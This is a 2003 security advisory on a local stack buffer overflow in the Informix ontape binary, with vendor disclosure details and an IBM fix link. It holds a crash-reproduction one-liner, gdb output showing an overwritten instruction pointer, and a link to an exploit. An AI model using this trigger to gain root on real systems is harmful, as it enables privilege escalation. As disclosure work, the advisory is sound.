----------========== OPEN3S-2003-08-08-eng-informix-ontape ==========----------

[pask () open3s com]

        ----------========== OPEN3S-2003-08-08-eng-informix-ontape ==========----------


 Title:    Local Vulnerability at Informix IDSv9.40 via ontape binary
 Date:     08-08-2003
 Platform: Only tested in Linux but can be exported to others.
 Impact:   Any user with DSA privileges over Informix could achieve root 
           privileges through a stack buffer overflow in ontape binary
 Author:   Juan Manuel Pascual Escriba pask () open3s com
 Status:   Solved by IBM Corp.





PROBLEM SUMMARY:

    Stack Buffer overflow exists in ONCONFIG environment variable read 
process when it's bigger than 495 bytes.


[informix@dimoni bin]$ export ONCONFIG=`perl -e 'print "A"x495'`
[informix@dimoni bin]$ ./ontape
WARNING: Cannot access configuration file $INFORMIXDIR/etc/$ONCONFIG.
Segmentation fault

[pask@dimoniet bin]$ gdb ./ontape
(gdb) r
WARNING: Cannot access configuration file $INFORMIXDIR/etc/$ONCONFIG.
Segmentation fault

(gdb) info reg
eax            0xffffffff       -1
ecx            0x40083580       1074279808
edx            0x46     70
ebx            0x1      1
esp            0xbfff74a0       0xbfff74a0
ebp            0x41414141       0x41414141
esi            0xbfff74cc       -1073777460
edi            0x0      0
eip            0x41414141       0x41414141



It's posible to achieve root privileges through this buffer overflow.


IMPACT:
    Any user with exec permision over ontape could achieve root 
privileges. In my default installation only users with DSA privileges
can exec this binary.


SOLUTION:

        See more infomartion about this vulnerability and workaround at:
http://www-1.ibm.com/support/docview.wss?uid=swg21153336


STATUS

Reported to IBM security team at 11th of August 2003

See more infomartion about this vulnerability and workaround at:
http://www-1.ibm.com/support/docview.wss?uid=swg21153336

This vulnerability was managed in an efficient manner by Jonathan Leffler
from IBM Informix Database Engineering Team.




EXPLOIT
    http://www.open3s.com/exploits/OPEN3S-2003-08-08-eng-informix-ontape.c




--------------------------------------------------
This vulnerability was researched by:
Juan Manuel Pascual Escriba            pask () open3s com
Barcelona - Spain                      http://www.open3s.com